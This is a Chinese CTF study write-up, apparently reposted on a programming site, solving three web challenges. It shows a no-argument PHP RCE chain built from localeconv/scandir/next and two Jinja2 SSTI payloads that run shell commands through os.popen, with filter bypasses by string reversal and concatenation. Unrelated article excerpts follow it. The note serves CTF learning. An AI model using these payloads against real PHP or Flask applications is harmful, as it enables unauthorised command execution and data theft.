4.3学习总结

[HNCTF 2022 WEEK2]Canyource(无参数)

通过这题又接触了一种无参数RCE的方法,前面学习的getallheaders只有在apache环境下才能使用,具有一定的局限性

这里是利用php函数来构造读取flag的方法

    localeconv() – 函数返回一个包含本地数字及货币格式信息的数组 第一个是.
    pos() – 返回数组中的当前单元, 默认取第一个值
    next – 将内部指针指向数组下一个元素并输出
    scandir() – 扫描目录
    array_reverse() – 翻转数组
    array_flip() - 键名与数组值对调
    readfile()
    array_rand() - 随机读取键名
    var_dump() - 输出数组,可以用print_r替代
    file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替
    get_defined_vars() -  返回由所有已定义变量所组成的数组
    end() - 读取数组最后一个元素
    current() - 读取数组的第一个元

 打开环境,看见';'就能意识到是无参数了

注意这里不是apache环境,所以getallheaders没用,当时我就是尝试了很久都没有成功

先查看返回包含信息的数组

code=var_dump(localeconv())

 返回数组中的单元,这里因为localeconv返回的第一个是".",所以默认的返回第一个单元就是"."

code=var_dump(pos(localeconv()))

返回单元后,扫描单元下目录,利用scandir函数

code=var_dump(scandir(pos(localeconv())))

看见了flag,要读取,high和show都被过滤了,所以可以用file_get_contents(),但是flag没有在第一个数组,也没有在第二个数组(如果在第二个数组就可以用next使得内部指针指向下一个单位来读取)

可以翻转后再进行调整

code=var_dump(array_reverse(scandir(pos(localeconv()))))

此时的flag就在第二个位置,用next调整指针位置来读取

code=var_dump(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))))

这题主要是无参数RCE的另外一种构造

[HZNUCTF 2023 preliminary]flask(倒序排序)

打开环境,看见name在做了一些题的情况下应该是能想到SSTI的,开始测试注入的模板

在测试的时候发现对字符串进行了倒序排序,在尝试了6{*comment*}6之后,在尝试{{7*7}}时报错了

在尝试{{7*7}}时报错了(我以为是自己判断的问题,没去想过滤的问题,看了wp才知道是存在过滤,对{{进行了过滤)

既然存在倒序排序,那么就倒序排序payload后注入,负负得正,确实是jinja2模板类型

利用脚本对payload进行倒序排序,如果想尝试手工注入也是可以的

import base64strA = input()
strB = strA[::-1]print(strB)

 

{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls /").read()')}}

看见flag了,但是cat出来不是flag

又去查lwp才知道flag在env(环境变量)中,这个环境变量真不容易想到,记得有一次的ctf比赛就有一题flag藏在env里面,但是那题给来语句的暗示,这里我没明白怎么猜到的env

[NCTF 2018]flask真香(字符串拼接)

打开环境,可以直接传参来进行测试

这说明了是SSTI中jinja2的模板类型注入,按照正常来说,应该进行class来返回对象的类

{{""['__class__']}}

没有回显,fuzz一下,不止SQL可以fuzz,SSTI也可以

过滤了一些命令吧,那么绕过就是首要问题, 我以为是要用新的命令来代替,没想到是进行拼接

%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()%7D%7D

os位置269

{{""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('ls /').read()")}}

看见flag,tac/flag

%7B%7B""['__cla''ss__']['__ba''ses__'][0]['__su''bcla''sses__']()[269]['__init__']['__glo''bals__']['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('tac%20/Th1s_is__F1114g').read()")%7D%7D

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/791224.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数字资产与数据资产的区别

在当今的数字时代,数字资产和数据资产是两个经常被提及的概念。虽然它们都与数字领域有关,但它们有着明显的区别。 数字资产是指以数字形式存在的、具有一定价值的资产。这些资产可以是数字货币、数字版权、数字艺术品、虚拟世界中的资产等。数字资产的…

OpenGL/DirectX/Metal/Vulkan

我想了解一下上面提到的东西,大体上指什么? DirectX、Vulkan和OpenGL是什么?什么是图形API?_哔哩哔哩_bilibili 图形API:图形化的应用程序编程接口 Vulkan和OpenGL都是图形API。 OpenGL:开源,跨平台 …

PyTorch示例——使用Transformer写古诗

文章目录 PyTorch示例——使用Transformer写古诗1. 前言2. 版本信息3. 导包4. 数据与预处理数据下载先看一下原始数据开始处理数据,过滤掉异常数据定义 词典编码器 Tokenizer定义数据集类 MyDataset测试一下MyDataset、Tokenizer、DataLoader 5. 构建模型位置编码器…

当Pycharm中右键运行python程序时出现Run ‘pytest in tests ***py‘,如何解决?

1、在Pycharm中右键运行python程序时出现Run pytest in tests ***py ,这是进入了Pytest模式。 2、解决办法 进入到File->Settings->Tools->Python integrated Tools页面或者快捷键(CtrlAltS) 找到Testing下的Default test runner …

CSS属性排序的插件和包

原文链接 pnpm i stylelint postcss postcss-html stylelint-config-standard stylelint-config-prettier stylelint-config-recess-order stylelint-config-html stylelint-config-recommended-scss stylelint-config-standard-scss -Dpnpm add stylelint-order -D添加文件&a…

Ubuntu Desktop 安装有道词典

Ubuntu Desktop 安装有道词典 1. 有道词典2. Installation2.1. 解压 deb 包到 youdao 目录2.2. 解压 deb 包中的 control 信息 (包的依赖写在该文件里面)2.3. 编辑 control 文件,删除依赖里面的 gstreamer0.10-plugins-ugly2.4. 创建 youdaobuild 目录,重…

Openstack(T)部署ceph集群 ceph-14.2.22-nautilus

https://www.cnblogs.com/liugp/p/12513702.html 我的部署参考上述文档,以下针对部署有不同的地方进行说明 1.节点的ceph源进行修改 [Ceph] nameCeph packages for $basearch baseurlhttp://download.ceph.com/rpm-nautilus/el7/$basearch enabled1 gpgcheck1 ty…

大模型量化技术-GPTQ

大模型量化技术-GPTQ 2022年,Frantar等人发表了论文 GPTQ:Accurate Post-Training Quantization for Generative Pre-trained Transformers。 这篇论文详细介绍了一种训练后量化算法,适用于所有通用的预训练 Transformer模型,同时只有微小的性能下降。 GPTQ算法需要通过…

rocketmq的运维

1. admintool创建topic的时候 -o 的用法含义 https://rocketmq.apache.org/zh/docs/4.x/producer/03message2/ 有关orderMessageEnable和returnOrderTopicConfigToBroker的设置可以参考 https://blog.csdn.net/sdaujsj1/article/details/115741572 -c configFile通过-c命令指…

typdef:深入理解C语言中typdef关键词的用法

typedef:C语言中的类型重命名关键词 在C语言中,typedef 是一个非常有用的关键词,它允许我们为现有的数据类型定义一个新的名称。这不仅使得代码更加清晰易读,还提高了代码的可维护性。在这篇博客中,我们将深入探讨 ty…

小核引导RTOS

参考 参考1. How does FSBL load the FreeRTOS on the small core and execute it?参考2. Duo now supports big and little cores?Come and play!Milk-V Duo, start! 日志 FSBL Jb2829:g362832ac6-dirty:2024-04-02T13:31:1100:00 # 版本信息 st_on_reason…

typescript的工作流

先coding code.ts代码,由tsc编译code.ts生成code.js格式 npm install —save-dev lite-server 是用来安装轻量级的服务器,只是用来开发的一个服务器,真正到生产环境中时可能会使用类似于Apache的server或者汤姆猫一类的服务器,安…

编程生活day6--回文子串、蛇形填充数组、笨小猴、单词排序

回文子串 题目描述 给定一个字符串,输出所有长度至少为2的回文子串。 回文子串即从左往右输出和从右往左输出结果是一样的字符串,比如:abba,cccdeedccc都是回文字符串。 输入 一个字符串,由字母或数字组成。长度5…

spring-boot集成websocket

引入Maven依赖包 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId><version>跟随spingboot版本</version> </dependency>后端代码 /*** 开启WebSocket支持*…

【嵌入式开发 Linux 常用命令系列 8 -- shell 命令 basename 介绍】

请阅读【嵌入式开发学习必备专栏 】 文章目录 shell 命令 basenamedf 命令 shell 命令 basename 在 shell 脚本中&#xff0c;可以使用 basename 命令来获取文件的基本名称&#xff08;不带路径的部分&#xff09;。以下是如何将文件名赋值给变量的示例&#xff1a; file_pat…

STM32CubeMX配置步骤详解四 —— 基础配置(1)

接前一篇文章&#xff1a;STM32CubeMX配置步骤详解三 —— 安装 本文内容主要参考&#xff1a; STM32CUBEMX配置教程&#xff08;一&#xff09;基础配置-CSDN博客 特此致谢&#xff01; 三、STM32CubeMX基础配置 前边几回讲解了STM32CubeMX的下载及安装。当前STM32CubeMX已…

【leetcode面试经典150题】6.轮转数组(C++)

【leetcode面试经典150题】专栏系列将为准备暑期实习生以及秋招的同学们提高在面试时的经典面试算法题的思路和想法。本专栏将以一题多解和精简算法思路为主&#xff0c;题解使用C语言。&#xff08;若有使用其他语言的同学也可了解题解思路&#xff0c;本质上语法内容一致&…

LeetCode575——分糖果

题目链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 这道题比较简单&#xff0c;但我还是花费了将近四个小时的时间去解答&#xff0c;AC的那一刻&#xff0c;终于全身舒畅&#xff0c;这道题的思路就是先求出糖果的种数&#xff0c;然后我们从题中可以得出&#x…

MySQL数据库 数据库基本操作(二):表的增删查改(上)

1. CRUD CRUD 即增加(Create)、查询(Retrieve)、更新(Update)、删除(Delete)四个单词的首字母缩写,就是数据库基本操作中针对表的一系列操作. 2. 新增(create) -->insert 语法: insert into 表名 [列名1,列名2…] values (val1,val2…) [注意] 列名可以没有,如果没有列名…

【Redis】Redis的使用

登录redis [roottest2 ~]# redis-cli 127.0.0.1:6379> 或[roottest2 ~]# redis-cli -h 192.168.67.12 -p 6379 192.168.67.12:6379> redis-benchmark 测试工具 redis-benchmark 是官方自带的Redis性能测试工具&#xff0c;可以有效的测试Redis服务的性能 基本的测试语…